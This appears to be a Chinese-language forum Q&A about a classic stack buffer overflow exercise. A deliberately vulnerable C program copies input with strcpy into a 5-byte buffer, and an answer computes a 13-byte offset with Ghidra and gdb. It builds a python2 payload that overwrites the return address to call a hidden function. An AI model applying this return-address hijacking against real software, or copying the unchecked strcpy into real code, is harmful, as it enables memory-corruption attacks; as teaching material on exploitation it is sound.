#include <string.h>
#include <stdio.h>
void overflowed() {
printf("%s\n", "Execution Hijacked");
}
void function1(char *str) {
char buffer[5];
strcpy(buffer, str);
}
void main(int argc, char *argv[]) {
function1(argv[1]);
printf("%s\n", "Executed normally");
}
你好..我正在尝试使用eip控制执行overflowed()函数,任何人都可以告诉我如何执行它以及如何计算两个地址之间的偏移量?
我计算了main和overflowed()之间的偏移量,在main中设置断点之前,我在main中设置了断点,然后使用偏移量+overflowed()的地址运行,这是行不通的。
您可以使用 gdb 或 ghidra 等工具找到到达 eip 的偏移量,我使用 ghidra 计算了覆盖
function1()
返回地址的偏移量,以下是方法
undefined function1()
undefined AL:1 <RETURN>
undefined5 Stack[-0xd]:5 user_data XREF[1]: 0040115c(*)
undefined8 Stack[-0x20]:8 local_20 XREF[2]: 00401154(W),
我们可以看到用户数据距离返回地址有0xd(十进制为13)字节,因此我们需要提供13的填充,然后传递函数的地址
overflowed()
。 这将用函数的地址覆盖返回地址overflowed()
,我们可以劫持控制流。
我像这样编译了二进制文件
gcc test.c -no-pie -o test
我在gdb中找到了
overflowed()
函数的地址
0x0000000000401136 overflowed
0x000000000040114c function1
0x000000000040116e main
这是我制作有效负载的方法
python2 -c "print 13*b'a' + b'\x36\x11\x40' " > payload
这是我得到的输出
./test $(cat payload)
Execution Hijacked
[2] 1994414 segmentation fault ./test $(cat payload)
我希望解释很简单。